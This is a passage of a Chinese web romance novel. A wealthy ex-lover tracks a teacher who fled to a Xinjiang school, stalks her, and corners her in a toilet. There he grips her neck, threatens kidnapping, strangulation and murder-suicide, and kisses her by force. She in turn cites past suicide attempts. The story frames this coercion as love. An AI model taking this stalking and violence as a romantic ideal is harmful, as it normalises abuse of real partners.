“小颜,你听说了吗?今天学校来的那个有钱人,好像很帅,听苏日娜说,是从楠溪市来的,你不是也从那边来的吗?”徐圆圆掐了掐舒颜的脸蛋,完全没有注意到舒颜的身体已经僵硬,目光发直地看着她。 “你们楠溪市风水真好,养人讷,啧啧,再让我多摸摸,趁着叶尔兰不在。” 舒颜没拍打掉脸上的手,怔忪问:“你说……从楠溪市来的?” “是啊,”徐圆圆注意到舒颜脸色有些不正常,讪讪收回了手,“怎么了吗?” “叫什么呢?” “不知道哎,听说是匿名,但不知道为什么又来学校了,有钱人都那么矛盾的吗?”徐圆圆扯了扯舒颜的袖子,“小颜颜,你不要告诉我你在楠溪市还认识什么大人物。” 舒颜低下头,看不清表情,“怎么会,我只是一个普通人。” 徐圆圆觉得舒颜*好像哪里不对劲,擅自将舒颜的脸抬起来,舒颜自然地冲她笑了下,佯装生气:“干嘛?” 徐圆圆放下心:“还以为你是什么出逃的白月光,你前男友来抓你了呢。” 舒颜扒拉下她的手,“想什么呢,我跟你一样,对有钱人只有仰望的份。” 又说:“你先走吧,我想去上个厕所,等下叶尔兰来找我吃晚饭。” 徐圆圆坏坏一笑,不做纠缠。 办公室人都走完了。 舒颜没去厕所,坐回自己的工位,拿出手机,翻出方之清的联系方式。 两人的聊天还停留在舒颜频繁收到岑尽白的消息,方之清跟她保证岑尽白绝对找不到她的那时候。 舒颜试探性的发过去一个消息。 【岑尽白现在在哪?】 等了几分钟,那边来了消息。 【他现在在楠溪市,听说出车祸了,现在住院了,怎么了颜颜?】 住院了?又出车祸了?他不是精于赛车吗?怎么又出车祸了。 舒颜打了几个字,删删改改,最后却只发出去一个嗯字。又看着手机上的消息发呆,失去对周边的感知能力。 “小颜老师?” “小颜老师?” 叶尔兰叫了好几声,舒颜才回神,还差点把手机弄掉了。 舒颜回神,看是叶尔兰,展开笑容:“你来了。”她没解释刚刚的走神,“先去吃饭吧。” 叶尔兰目睹刚刚舒颜的失态,深觉舒颜心中有事,但是不愿意和他说。 也许在她看来,他们还是没有那么亲密是吗? 敛了眼中的失落,叶尔兰笑着说:“好啊,小颜老师,今天去吃大盘鸡!” …… 吃饭时,舒颜兴致不高,叶尔兰不敢贸然问,他想舒颜主动跟自己说。讲了许多笑话,想逗舒颜笑,舒颜也配合着笑了,他这才松了口气。 中途叶尔兰接了一个电话,舒颜听他说:“我就不去吃饭了,我正在吃呢,你们吃,不用等我。” 舒颜问:“是不是有人找你吃饭,我是不是耽误你什么事了?” 叶尔兰心中一暖,想着舒颜还是关心他的,“没什么,是校长让几个男老师陪一个资助人喝酒,我推了。” 舒颜脸上为难,因为叶尔兰为了和她吃这顿饭,貌似拒绝了校长,这对一个老师的事业发展不好。 “你下次别这样了,如果是比较重要的人请你吃饭,还是去吧。” 叶尔兰挠挠头,“可是我想和你一起吃饭。” 舒颜只觉倍感压力,又劝了几句,叶尔兰说以后不会了。 吃过饭,叶尔兰提出送舒颜回学校宿舍,舒颜应允了。 新疆的夜晚,与白天相比有些冷,风撩过皮肤表层,带起层层涟漪。 佳人在旁,叶尔兰心动不已。光是偷看她明艳的侧脸,他晚上做梦的内容都想好了。 想到男同事说他太过小心翼翼,应该再主动一些,说不定很快就能娶回家一起睡觉了。他觉得男同事说话太肤浅庸俗,简直玷污了舒颜和他的感情。 但是男同事说:“你喜欢那个美女老师,敢发誓心中对她没那个想法,食色性也,别装什么绅士了。” 叶尔兰无法反驳。 舒颜今天没有主动牵他的手,上次是人家小姑娘主动的,这次怎么说他都应该主动一次,于是他上前,轻轻牵住舒颜的手。 却没想到被甩开。 叶尔兰震惊又呆愣地看向舒颜。 …… 这边的某家酒楼。 岑尽白端坐高位,身边坐着校长和几位副校长,对着他举杯,他杯子碰都没碰,菜也没吃一口。 几位校领导面面相觑,实在不知道该怎么招待这位来自大城市的有钱人,阿谀奉承他不接,好不容易同意吃晚饭却筷子和酒都不动。 岑尽白一直在盯着手机,对周围的一切,事不关己。 不久,他神色冷峻的按灭了手机,望着这些满堆笑意的中年男人,开口:“舒颜,是在你们学校吗?” 校领导没想到他一开口,竟是问一个学校里根本不起眼的手工课老师。 其中一人道:“是,学校里是有一个叫舒颜的女老师,教低年级手工课。” “来这里多久了?”岑尽白紧盯着那人。 “这……”一个不起眼的女老师,谁会知道她什么时候来这里的?尤其是这些眼高手低的校领导。 岑尽白骨节敲了敲桌子,催促:“说。” 坐席间还有其他男老师,倒是知道舒颜。 “她是两个多月前招进来的,学生们都很喜欢她……” 说话的男老师絮絮叨叨,讲话没有重点,说了很多舒颜在这个学校的事情,但是岑尽白倒是听得很认真,态度比面对几个校领导时还要好。 校领导们眼观鼻,鼻观心,虽然不甘,但不敢插嘴。 讲到叶尔兰这个名字,岑尽白叫了停,“你是说,她有了男朋友?男朋友叫叶尔兰?” 说话的男老师莫名感觉到他话中的步步紧逼,音调低了几度:“是,是最近刚在一起的。” “呵!”这声笑带着嘲讽和一些别的东西。 紧接着又让那个男老师继续说下去。 …… “小颜老师?我感觉你今天好像有心事,是怎么了吗?”被舒颜甩开手后,叶尔兰反而向她道歉,说是冒犯了她。 舒颜抿了抿唇,还是没说原因。 “抱歉,我情绪不太好,先回去了,你也回去吧。” 她应该对现在的暧昧对象说什么?她的心有些慌乱,是因为别的男人。 不能吧。 叶尔兰还想再对她说些什么,但都被舒颜挡了回去,他少见露出沮丧的情绪,不知道该说些什么了。 舒颜叹口气,觉得自己有些过分了,让一个阳光乐观的大男人不开心了。 主动走近,牵了牵他的手,没握紧,只是碰了下。 叶尔兰立马就笑了,头顶的乌云一扫而空。 舒颜:“我只是有心事,等我整理好了,我再告诉你。” 那时候,再让他决定,要不要和她继续发展。毕竟,她有着那样的过去。 她的嗓音温柔,水洗过一样,叶尔兰光是被她碰一下手,再似哄非哄几句,瞬间就顺气了。 “行,等你想什么时候跟我说,再跟我说。无论发生什么事,我都会帮你,站在你这边的。”叶尔兰神色认真。 舒颜有些感动,感动之余生出了愧疚,她觉得自己好像不是一个好女人。 “好,那晚安,我先回去了。” “晚安。” …… 一直到舒颜转身进了宿舍楼,叶尔兰才转身,出了院子,却遇上了意想不到的人。 岑尽白一身西装,走起来却有些风尘仆仆,像是着急去见什么人一样。 叶尔兰与他即将擦肩而过。 他知道岑尽白,虽然觉得他有些高高在上,但是这是学校的贵客,叶尔兰还是礼貌打了招呼。 岑尽白还是像白天那样没有理他。 就在两人即将擦肩而过时,岑尽白忽然站定,“你知道,教师宿舍在哪里吗?” 叶尔兰也停住脚步,回头确认他是不是在问他。 岑尽白转身,两人面对面,他蓝色的眼睛里,是比这夜还要瘆人的冷,连带着他耳朵上的蓝色耳钉。 “教师宿舍?”叶尔兰重复一遍,“就在前面。” 但意识到自己说早了,他去教师宿舍干什么? 多问了这么一句,岑尽白却低头,唇角弯起,竟算是温柔:“我有一朵花落在那里了,我要去找。” 大半夜的,跑去找花?转念一想,大概是很重要的花吧,就像是从阿伊古丽那换来的一朵纸花,如果丢了,他也会心疼死的,也会不惜万里回去找的。 又听见岑尽白忽然问:“你叫什么名字?” 叶尔兰有些疑惑,但想到或许是因为他为他指了路,他会在校长面前为自己多多美言几句,于是报出自己的名字:“叶尔兰。” 高大的男人身形一顿,身上的高档西装愕然绷紧,一声感叹尾调拖长:“啊——” 岑尽白笑容放大,愉悦地盯着叶尔兰看,却没有让叶尔兰感受到友善。 “好巧。”他说,“名字很难听。” 叶尔兰涨红了脸,却不知道回什么,也不能反驳。 岑尽白走近,步步紧逼:“我说我怎么那么讨厌你,你很像一个我讨厌的人。”他将叶尔兰上下扫视,面上讥讽,不知道下一秒会做什么。 像谁呢?像那个散发着恶臭的齐刚。 她果然还是喜欢这个类型不是吗? 岑尽白抬起手,握紧拳头。 叶尔兰感觉那一拳很快就落在自己身上了,但是没有,岑尽白只是顺手拍了拍他的肩膀,嫌恶皱鼻,转身走了。 叶尔兰不明所以,心里打鼓。 …… 舒颜又做了一晚上的噩梦,梦里有双眼睛在盯着她,怎么都甩不开,无论她跑到哪里。 她醒来下意识看向窗外,外面天光大亮。 手机又收到了陌生号码的消息。 【我会一直看着你】 如同在梦中,她还没醒。 …… 舒颜觉得自己算是日有所思也有所梦了,她应该尽快忘记他,无论是爱还是恨。 随便解决了早饭,舒颜打开门准备去上班。 却发现门前全是被掐灭的烟把子。 有人在她门口抽烟,满地散落的都是,不知道抽了多久。 第68章 还是那样懂得如何勾引他 从学校宿舍出发到办公室,舒颜碰上了刚从下早自习的苏日娜,两人结伴前去办公室。 苏日娜感叹:“还是你舒服,不用带班主任,不用上早课,我刚刚上早课还要打起精神处理学生的事情,也是够糟心的。” 舒颜没否认,拍了拍她的肩膀作安慰,“我算是个咸鱼了。” 苏日娜看着舒颜柔美的脸,再次感叹。人美,工作清闲,还找了一个帅气的男朋友。 不过说到帅,还是她昨天看到的那个男人更帅,叶尔兰跟那个男人相比,有些粗俗。 但是这些不关她这个牛马什么事,叶尔兰她都追不上,更不要说那样级别的男人了。 生活哪都不满意,她忍不住跟舒颜倒她早上的苦水。 “小颜老师你都不知道,我早上处理多少事,先是学生早读迟到,训斥半天还跟我顶嘴,找各种各样的借口,还有一个,竟然直接不来了,我觉得你应该认识那个学生,就是我们班的阿伊古丽,她直接旷课,也不知道是怎么回事,打电话跟我说是她妈妈病了……” 阿伊古丽?舒颜之前听小女孩说过她家的情况,单亲家庭,只有她和她妈妈。 舒颜多问了一句:“什么病?” 苏日娜住了嘴,脸上一瞬痛惜闪过:“听说,是白血病。” 舒颜哑然。她从来没有听阿伊古丽说过,她妈妈得了白血病,小女孩总是笑得甜甜的,看着就很幸福的一个孩子,是在爱里长大的。舒颜还羡慕过她,觉得她妈妈一定非常爱她,所以阿伊古丽才这样爱笑。 舒颜一直沉默到办公室,坐在工位上,准备着下一节课。 朋友圈有人为阿伊古丽发起了水滴筹,舒颜转发并且自己捐了三千块。希望阿伊古丽的妈妈能健康起来,不要丢下阿伊古丽一个人。 她收拾好心情,看了一眼叶尔兰的工位,发现他不在。舒颜没有注意过他早上有没有课,这时候没来,应该是没有的吧。 别的老师见舒颜看叶尔兰的工位,嬉笑:“怎么,想你男朋友了?” “哈哈哈,别开小颜老师的玩笑,叶尔兰知道了该心疼了。” “哈哈哈哈……” 舒颜在这样一个八卦的办公室呆久了,对于这些都免疫了。在她这里开了会儿玩笑,没一会儿,就开始聊起别的事情。 “那个楠溪市来的,今天还没走?” “没有,听说今天好像还要参观我们上课,群里不是说了让我们注意课堂纪律?” “那不是有机会见到真容了,听说长得巨帅!堪比明星了!” 舒颜捏着自己的手指,咬了下唇,貌似不经意间开口问:“有多帅?” 其他老师没想到一向不怎么参与八卦的舒颜居然会开口问,有些惊讶,愣了几秒,将八卦的战火又引回她身上了。 “小颜老师也对帅哥感兴趣?听说比叶尔兰还要帅呢!今天应该有机会看见,小颜老师可以比较一下谁更帅。” “……” 全是调侃,一句有效信息都没问到,舒颜敷衍笑笑,态度很好地回了几句。 然后手撑在办工桌上,神情游离在对话之外。 尽管昨天方之清跟她说了,岑尽白在住院,但是一个梦一条短信就能把她弄得如同惊弓之鸟一样。 第一节课下课后,舒颜问了身边的老师,明确知道叶尔兰第二节课有课,但是人还是没有来。 苏日娜也奇怪:“平时叶尔兰上课挺积极的啊,今天咋回事。” “也没听说请假啊。” 舒颜当即拿出手机,给叶尔兰打了个电话。 第一遍没接通,舒颜又打一遍,呼叫了好长时间,那边终于接通了。 “叶尔兰?” 那边悉悉簌簌好久,几个老师围在一起,听这个电话,神色都带着关切。 过了几秒,那边终于传来声音:“小颜老师……怎么了吗?” 舒颜松了口气,身边的老师也是。 舒颜:“叶尔兰,你第二节课有课,怎么没来学校啊?” “哦,我请假了。” “怎么了?” “……” 那边又是一阵沉默,过了会儿才说:“我早上骑电动车来学校路上,不小心摔了一跤,腿上受了点小伤,现在在镇上的卫生所。” “不过没啥大事,擦破点皮,你别紧张。” 听见骑车摔了,办公室的老师又重新围了上来,舒颜的心也随之提上来,在叶尔兰说没什么大事,只是擦破皮的那一刻,舒颜的心也没有放下来。 “怎么摔到了?” 叶尔兰回答仍旧很慢,感觉像是手机出了问题一样:“拐弯时路口突然出现一辆车,我刹车刹太猛了。” 舒颜又多问了几句,听叶尔兰的描述的确是意外,并且那辆车的司机还提出要赔偿,她的心才稍稍安定。 “小颜……谢谢你关心我。”叶尔兰的声音有些雀跃,夹杂着某些复杂情愫。 但是舒颜没听出来,她无心他的细微变化。又嘱咐了几句让他多注意休息,挂断了电话。 这时候,上课铃声已经打过了,说明舒颜上课迟到了。 舒颜匆匆出了办公室,脚步飞快地去了教室。 苏日娜:“嗳,你们之前不是说小颜老师看起来没那么喜欢叶尔兰吗?显得他像个舔狗,但是刚刚听到叶尔兰受伤,不是挺着急的吗?” “确实是这样,可能小颜老师是个面冷心热的人吧。” …… 等到舒颜火急火燎地赶到教室时,校长就在那里站着,舒颜心想,这下糟了。 正准备和校长好好道歉加解释一下,校长竟催她:“来的这么晚?快进去上课吧,学生们都等着呢。” “校长对不起,我刚刚……” 校长摆摆手,肥腻的脸上堆着笑容,细小的眼睛挤成一条缝。 “快进去,不用说了。” 校长这样催,舒颜也没再多言,扯出一个笑容点点头,进了教室。 教室里很安静,舒颜没抬头看,先走上讲台,整理了一下手中上课要用的工具。 班长在下面喊:“上课!” 学生们齐刷刷:“老师好——” 舒颜抬头,扫了一眼底下站着的学生,说:“同学们好。” 学生们坐下,舒颜低头又抬头,定住视线,面上慢慢浮上不可思议。 常常搅扰她清梦的男人,赫然出现她的课上。 蓝的眸,红的唇,这人没有梦中那样嚣张乖戾,甚至真的像个学生那样,端坐在最后一排,桌子椅子在他高大身躯的衬托下,更显局促。 他正似笑非笑的看着她,与底下乖巧的学生不同,他再怎么装,都藏不住他身后的大尾巴。 舒颜好久不动,僵站着,嘴唇嗫喏几下,却吐不出一个字。 底下的学生看老师呆住,看向最后面。知道老师在看向谁,但是他们不敢回头,坐得如同一根根小竹节。因为上课前校长就特意嘱咐过,他们一定要听话,不能乱看,否则就要惩罚他们。 多久没见了?舒颜记不清具体日子,只记得离开楠溪市的那一刻,她一身轻松,脱下了扒在身上许久的破铜烂铁。 她不说话,底下的学生不敢动。 岑尽白笑着看她,浓艳的长相,耳朵上那颗蓝钻,一瞬间让她想起和他缠绵的那些时刻。 他恶劣,无止境的索取,欺负她也让她欺负他,乐在其中,乐此不疲。 糜红的唇一张一合,没发出声音,但舒颜却能看清他在说什么。 他在说:“好久不见。” 确实是好久不见。 舒颜猛然间察觉眼中有泪水正在积聚,但这是她的课堂,底下坐得是她的学生,她不能在学生面前哭。 为什么?为什么他一出现,她就要哭呢? “怎么还不开始讲课?今天有贵客旁听,要好好讲啊。” 校长在外面看舒颜迟迟不开始讲课,开始催促。 讲台上的舒颜还是没抬头,最后一排的岑尽白要起身,舒颜瞟到,俯下身子,装作要找粉笔。实则是在底下偷偷抹去眼角已经滑出的泪水,装模做样在桌子底下掏出一盒粉笔。 然后站起身,最后一排的那人,又悠悠坐下。 舒颜敛眉不再看:“今天老师来教大家做一种小动物,号称是自然界最狡猾的动物,狐狸。”与平常的声音无异。 “我们要用到的工具是剪刀,卡纸,还有画笔,大家准备好了吗?没有的可以互相借用。” 底下的学生脆生脆气:“准备好了!” 舒颜自然地朝着底下的学生展露着笑意,拿出卡纸开始给学生们示范。 在这个过程中,有一双眼睛一直在盯着她,如同一条有着凉滑的皮的蛇,吐着蛇信子,缠着她全身。舒颜的周身都被这样的丝丝凉意包裹着。 她太熟悉这种感觉了,以至于她的全身都在紧绷着。 有学生举手,“老师,狐狸眼睛画不好。” 这个学生坐在后排,离岑尽白所坐的那个位置很近,舒颜站在原地几秒,还是走了过去。 一眼没看那人,俯下身低着头教学生。 “你看,你下笔的角度不对,应该先这样……再这样……”她轻声细语,很有耐心。 正是因为她这一点,所以很多学生都很喜欢她。 她身上散发出来的香味,萦绕在岑尽白的鼻息,他近乎贪婪地、不易察觉地深吸进肺里。 心中谓叹:这是她的味道啊…… 眼睛不舍得眨一下,紧盯着她,舒颜今天上半身是白色的衬衫,下半身是绿色的百褶裙,包裹着她纤细的腰肢。 岑尽白伸出手,想要将那细腰拥在怀里,狠狠缠住,再也不放开,却只能用眼睛克制地细细描摹。 她低着头,此刻背对着他,给个毛都没长齐的孩子讲如何画一个狐狸的眼睛。 声音是那样温柔…… 还是那样懂得如何勾引他…… 舒颜的画狐狸眼睛的手控制不住地抖了一下,因为身后目光,如芒在背,几乎要刺进她的身体里,撕扯着她的心脏。 “……这样?这样……会了吗?”舒颜的声音也不稳,松开画笔,才发现手心里全是汗。 学生点点头:“我会了,小颜老师。” 第69章 那只手掐上她的脖颈 身后的人幽幽开口,带着沙哑的调子,“小颜老师,你也帮帮我。” 他从来没有叫过她小颜老师,只叫她舒颜,情动时叫她颜颜、心肝宝贝……各种可耻的称呼,几乎都叫过。 岑尽白将这四个字在嘴里滚动一遍,又咂摸咂摸回味几遍,竟品出别的滋味,看着她后背的眼睛,也愈加放肆起来。完全不顾及这是在她的课堂。 班上的学生都知道这节课与平时不一样,身后坐着一个很吓人的男人,他们都不敢回头看。但是刚刚他和他们一样,叫了小颜老师,像他们一样请教小颜老师。 但是这时,学生们忍不住回头看。 舒颜在这一瞬间,感觉到被羞辱的意味。 她没有回头,站直了腰,摸了摸身旁学生毛茸茸的头,说:“后面的叔叔不会,老师刚刚是不是教过你们?你们教后面那个叔叔好不好?” 教后面那个叔叔?学生想到岑尽白站起来时压迫的气场,脖子缩了缩,显然有些害怕。 学生害怕,舒颜也不愿意让岑尽白吓到自己的学生,她忍耐般闭上眼睛,转过身。 正式对上那人的视线。 那人没看她,目光从她摸过小孩头的手,移到她的脸上。 眼神克制又夹杂着不易被察觉的疯狂。 舒颜的脚跟灌了铅一样,迈向他,在他的视线里,走近他。 “哪里不会?” 岑尽白坐着,仰视她,这是他们之间经常用的姿势,他很喜欢这个姿势。 可以看清她动情时所有的表情。 “小颜老师,我都不会……”他说着,对她放大了笑容,眼睛都是弯的,里面装满了她。 舒颜有些麻木的伸手,拿起身旁的一个图纸,在他面前折了一个狐狸,完全没有停顿,根本不管他有没有跟上,有没有在学。 但是她折完后,只过了半分钟,岑尽白手中也折出了一个狐狸,只是比她的丑。 岑尽白看着她,为自己第一次当她的学生而雀跃,心情前所未有的好。 “小颜老师,我可以跟你换换吗?我想要小颜老师的。”他恬不知耻地说。 周围的学生看着他们,舒颜不想跟他浪费时间,直接将手中的狐狸,砸到他的脸上。 这是一个极其侮辱人的动作。 她转身,却听见他发出一声轻笑。 “好了,我们继续上课。”舒颜对着台下的学生说。 目的达到了,但是岑尽白还是没有走,一直坐在下面,手里拿着两个狐狸,一个她的一个他的,百无聊赖地把玩着。 直到下课,岑尽白才跟着学生站起身。 舒颜本以为他会走向自己,和自己说什么,但是没有,他直接出了教室门,校长在教室门口殷勤地问他什么感受。 岑尽白漫不经心,似是而非地看了眼低着头的舒颜,说:“不错。” 又一字一顿,“我很喜欢小颜老师的课。” 校长很高兴,夸了舒颜几句,当着岑尽白的面说要给她涨工资什么的,荒谬至极。 舒颜没说话,三个人站着,来来往往的学生也看着他们,认出其中一个是他们喜欢的小颜老师,还笑着和她打招呼。 但是小颜老师好像没注意到他们。 舒颜的耳中全是校长的阿谀奉承,奉承完很有眼色地察觉岑尽白的目光都在舒颜身上,于是又转过来夸舒颜。 “是舒颜老师对吗?别看她来学校不久,上课那叫一个认真,学生喜欢,同事也夸她,我们学校就应该多一些像舒颜老师这样的老师!” 校长说着,还要领导气息十足地想拍拍舒颜的肩膀,却被一只手挡住。 岑尽白笑脸消失,目光变得阴沉,校长背后一凉,顿时定住了动作,讪讪将手收回。 “没什么事的话,我先回办公室了,三四节还有课。”舒颜站得笔直,是面对着校长,不愿意看岑尽白一眼。 校长看岑尽白没有反对,近乎恭敬地让舒颜走了。 “岑总?”舒颜走后,校长见岑尽白还是盯着人家的背影看,忍不住叫了一声。 岑尽白被打扰到,明显不耐地给了他一个眼刀,像是被打扰。 “舒颜老师,好像有男朋友了……”校长小心翼翼开口提醒。 舒颜和叶尔兰的事情,他听说过,昨天晚上饭桌上确实不记得舒颜这个人,但是见过叶尔兰和这个女老师站在一起过,一看就是男女恋爱的氛围。 现在冒出来个有钱大佬,貌似看上了舒颜,叶尔兰肯定争不过,这不是棒打鸳鸯吗? 校长尚且有一丝良心,也挺看好叶尔兰的发展,出言提醒这位楠溪市来的有钱人,看能不能用道德让他及时收手。 此言一出,校长只听见一声很轻的冷笑,极为不屑。 正逢下课,学生顽皮打闹,校长不确定自己是不是幻听。 然而岑尽白笑着,手里攥着两个纸折的狐狸,慢腾腾捏成一团,指尖扎入掌心,“我只是单纯欣赏一个人,校长怕不是多想了,我怎么会喜欢这样的女人。” 怎样的女人? 自私冷血,不识好歹,永远想着逃离他。 永远不愿意回头看他一眼,问他愿不愿意跟她一起走。 * 一个上午,舒颜一连上了三节课,口干舌燥,回办公室喝了一大杯水,瘫坐在椅子上。 “小颜老师,你的仙人球开花了嗳!”徐圆圆惊喜叫道。 舒颜抬头,看向徐圆圆所指的方向。 阳光穿过空气微尘,投落在舒颜办公桌的窗台,她栽种的仙人球就放在那里,竟在她没有发觉的时候开了花,粉红可爱,花瓣中不知何时驻留了几颗水滴,珍珠一般,晶莹剔透。 办公室的女老师喜欢在办公室插些鲜花养养,唯有舒颜选了仙人球。曾有老师问她为什么养这个,舒颜回答说:“仙人球适应能力强,几乎在哪都能活,鲜花不是,太容易枯萎衰败了。” 是的,仙人球在哪都能生长,即便没人浇水施肥。 而且还会给她带来惊喜,比如现在。 徐圆圆放下手中的学生作业,跑来舒颜工位上,和她一起看仙人球开花:“我还是第一次看见仙人球开花呢。”徐圆圆拿起手机拍照。 舒颜也对着拍了几张,唇角微弯,“我也是第一次看见。” 后面的两节课,虽然她让自己静下心来教课,但是岑尽白赫然出现在她课堂上的冲击力太大,上这两节课时精神都是紧绷着的,随时做好下一秒岑尽白出现搅局的准备。 他却没有出现。 拍了几张后,舒颜又拿着手机翻看,随手发在朋友圈里。 下一秒就有人点赞,是叶尔兰。 他还发了信息:【你养得仙人球的开花了?】 舒颜:【对的,我都没想到它会开花。】 【仙人球的花期很短,我要赶紧回去看了!】 舒颜指尖顿了顿,想了下,仙人球的花期确实很短,更夸张甚至有一天的,大部分是短短几天。 舒颜回:【好哦,那你快快养病。】 【嗯嗯,我明天就回去上班了。】 舒颜关掉手机,旁边的徐圆圆拍完照片已经回到自己的工位上,正在批改作业。 她头也没抬的跟舒颜说:“小颜老师,等下跟我和苏日娜去食堂吃饭呗,好不容易叶尔兰不在。” 舒颜爽快地答应了,说她先去上个厕所,路上遇见苏日娜下课回来,跟她说了一起吃晚饭的事情。 这会儿正是中午放学后,校园里空荡荡的,偶尔有几片晒得干黄的叶子落下来,鞋子踩上去沙沙作响。 她沉浸在这样的声音里,没有注意到到身后很轻的脚步声。 从女洗手间进去,她从洗手台的镜子前路过,留下一道浅色的晃影。 身后那个几乎能罩住她的高大身影,也从镜子前掠过。 一只骨节分明的手,阻止了舒颜想要关上隔间门的动作。 她惊讶抬头,只看到一头有着栗色软发的发顶。 太熟悉了,她想要将门关上,咬牙切齿:“这里是女卫生间!” 因为舒颜站得比他多一个台阶,他又微微弯了腰,手和肘都抵着门。他一抬头,几根细碎的发遮住了他的眼睛,窗外的阳光因为叶子遮挡在他脸上留下斑驳光影,竟让他看起来比平时更加阴沉几分。 舒颜重重喘着气,有与他现在因为关门僵持的原因,也有当下气愤的原因。 不知道是不是他放了水,舒颜的努力把着门,差一点就将他关在门外,但是门缝种夹住他的手,她听见他闷哼一声,看向他,发现他也抬头蹙着眉看她,眼中情绪一闪而过。 门夹着他的手,舒颜颤着声音喊:“松手!” 那人就是倔,就是不把手缩回去! 舒颜狠心用力,脸都憋红了,想着那就把他手夹断算了! 她看了岑尽白一眼,他脸上已经疼得皱起来了,唇被咬出血色,一双蓝色的眼睛可怜巴巴地看着她。 又想用之前的把戏。 舒颜恍然回想起,他和齐刚打架后,一身伤站在她那出租屋门口,也是这样的神情。 她不心软,还是想让他吃痛缩回手。 岑尽白的手是冷白色,手背布满青色的血管。现在那只被夹着的手,一半指节在里面,一半指节在外面,里面的指节因为血液不流通,已经充血发紫。 舒颜紧抿着唇,脸色有些发白,低头看他的手指,心脏被什么绵绵密密地包裹着,密不透风,鼻尖酸涩到快要哭出来。 岑尽白注视着她蓄满泪水的眼睛,有些心疼,比手还要疼,神色控制不住软下来,但她的眼神又是那样决绝,根本不给他任何机会。 忽然间,力量反转,被夹的手反握门,舒颜力气用完,看着隔间的门缓缓被他用蛮力推开。 那只手掐上她的脖颈,把她往里面推,又屈肘缩短与她的距离,身体贴着身体,隔间的门如她所愿被关上。 身体贴上的那刻,她听见他发出一声谓叹,如释重负般,蓝色的眸低垂着看她,眼中的兴奋和悲伤复杂交织。 第70章 又咬又舔 舒颜双手攥着他的手腕,无意间触碰到他手腕上的脉搏,跳动频率让她心慌。 岑尽白声音低哑开口:“为什么,为什么你总是对我这么狠心?” 纤细的脖子就在他掌中,现在的她脆弱的像个薄命的蝴蝶一般,只要稍微用力就能让她窒息而死。 但是舒颜却丝毫没有那样的感受,他的手,只是轻轻环着她的脖子,像是他给她戴上的,束缚她的项链。 她仰着脸,泪水从眼角滑落,丝毫不将他这副气到快要发疯的状态放在心上,仍旧不说他想要听的软化:“那你把我掐死好了……” 听她这样说,岑尽白眼圈发红,表情更加阴狠,但圈着她脖子的手仍没有用力。 “你逼我,你以为我不敢吗?这里正*好没有人,我把你打晕带走,没有人会知道你去了哪,然后把你关在一个所有人都找不到的房间,我喂你吃饭喂你喝水,然后做。爱,你要是想死,那我就在我们都高。潮的时候掐死你,然后带着你的尸体一起死。你知道的,我死也不会放过你!” 他一字一顿地说,甚至还缓缓凑近她,想让她听得更加清楚,嗓音带着兴奋,好像他真的会那样做一样。 舒颜唇瓣颤抖,浅色的眸子骤缩,胸口剧烈起伏着,看他时莫名带上恐惧。 岑尽白被她这眼神刺到,偏偏又在气头上,“怕了?”掌心贴着她的动脉,指腹摩挲着。 嘴上狠,动作却没实质。 舒颜也发现这一点,低垂着眼睛不看他了。 像是真的被掐得窒息那样,舒颜开始剧烈咳嗽几声。 岑尽白的脸上一阵慌乱。 他像是触电一样收回放在她脖子上的手,将她搂在怀里,有些着急地顺着她的脊背。 “颜颜……颜颜……对不起,对不起……我不是故意的……” 舒颜还在咳嗽,手抵着他的胸口,将他推开,又咳嗽了几声,清秀的脸咳出不正常的红。 他的嘴唇动了动,保持着想要环抱她的动作,那只被夹过的手还在颤抖。 “滚……滚开……你为什么要来?……”舒颜的声音带着哭腔:“为什么呢?我都离开了,你为什么还要来招惹我?我已经开始新生活了,我是真的想忘记那些,你为什么……为什么不能,放过我……” 岑尽白咬着唇,嫣红的唇像沾了血一般,冷漠地看着怀里颤抖的舒颜捂着脸哭,“我刚刚已经说过了,除非我死了。” 他低头,拥住她瘦弱的肩膀,拿开她捂着脸的手,亲吻她满是泪水颤抖着的唇,又是咬又是舔,只停留在外面,没有纠缠她的舌头。 两人的唇间都是咸涩。 她看着岑尽白偏执的模样,声音小却坚定:“你这样,我真的会恨你!我不想……再回去了……” “那就不回去。” 逼仄的房间里,口鼻间全是彼此的气息,交错纠缠,分不清是谁的,“求求你,舒颜,不要……”不要恨我。 我真的离不开你。 “求求你求求你求求你……”他像念经一样,固执地趴在她的耳边重复着。 明明她才是被围捕的那个,他怎么总是反串角色呢? 舒颜闭上眼睛,耳边响彻着他的祈求,渐渐地,这些声音都被消磨掉,什么都听不清了。 “小颜老师?小颜老师你在里面吗?不是要一起去吃饭吗?”外面传来苏日娜的喊声。 舒颜掀开眼皮,伸出手捂住岑尽白的嘴,用气音说:“别说了。” 她的睫毛被洇湿,几根粘合在一起,像是水洗过的乌羽,脸上是惊恐的神色。她很害怕被别人发现,意识到这一点,岑尽白闭上了嘴,垂眸注视着她,眼睛里飘荡着一层浓雾,挥不去散不开。 “马上好了!马上……马上出去了!”舒颜冲外面的苏日娜喊。 “好,你快点啊!”苏日娜说完又嘀咕,“磨磨蹭蹭的,我和圆圆都快饿死了,不知道还以为你在里面艳遇了呢。” 里面的舒颜气红了脸,恼怒地仰头盯着眼前人,仔细一看,还有几分囧态。 只因为刚刚手心里一片温热的潮湿。 是岑尽白伸出舌头在她的掌心舔了下,眼神晦暗难明,尤其是外面还有舒颜的同事。 很难不想他是不是故意的。 听到外面的苏日娜走远了,舒颜才敢放下手,掌心的粘腻提醒着她什么,她看了岑尽白一眼,将手在他名贵的西服上蹭了几下。 岑尽白只是看着,没有阻止,只是看她这样嫌弃,还是忍不住阴沉着问:“你就这么嫌弃我吗?” 舒颜打开隔间的门,感觉空气都清新不少,她回答:“对,很恶心,我不愿意陪你玩这种游戏。” 深蓝的眸划过不易察觉的情绪,她却捕捉到。 舒颜走出隔间,在洗手台前洗着手,用力搓着。如果岑尽白在这里,她宁愿憋着不上厕所。 一抬头看镜子,他就站在她身后,身着得体的西装,却像个男鬼一样,一身阴郁的气质藏都藏不住。 水龙头流出的水清澈透亮,舒颜敛眸看着,轻声说:“等下我先走,你呆一会儿再走,现在学校没什么人,不会有人知道你来了女厕所。我不希望别人看到你跟我在一起,你要是不想我恨透了你,就尽量不要打扰我学校的正常生活。” 舒颜洗手的动作停了下来,从旁边抽出几节纸巾擦手,“我知道我很弱小,你要是强迫我我什么都改变不了,但你要是把我逼急了,我什么都做得出来,不就是死吗?你不是知道的,我曾经好多次都想过死,也实践过。” 她抬起自己的手腕,上面还有一道细小的疤痕,那是舒颜为了离开舒芸,做出的赌注。 她什么都没有,只有这条命了。 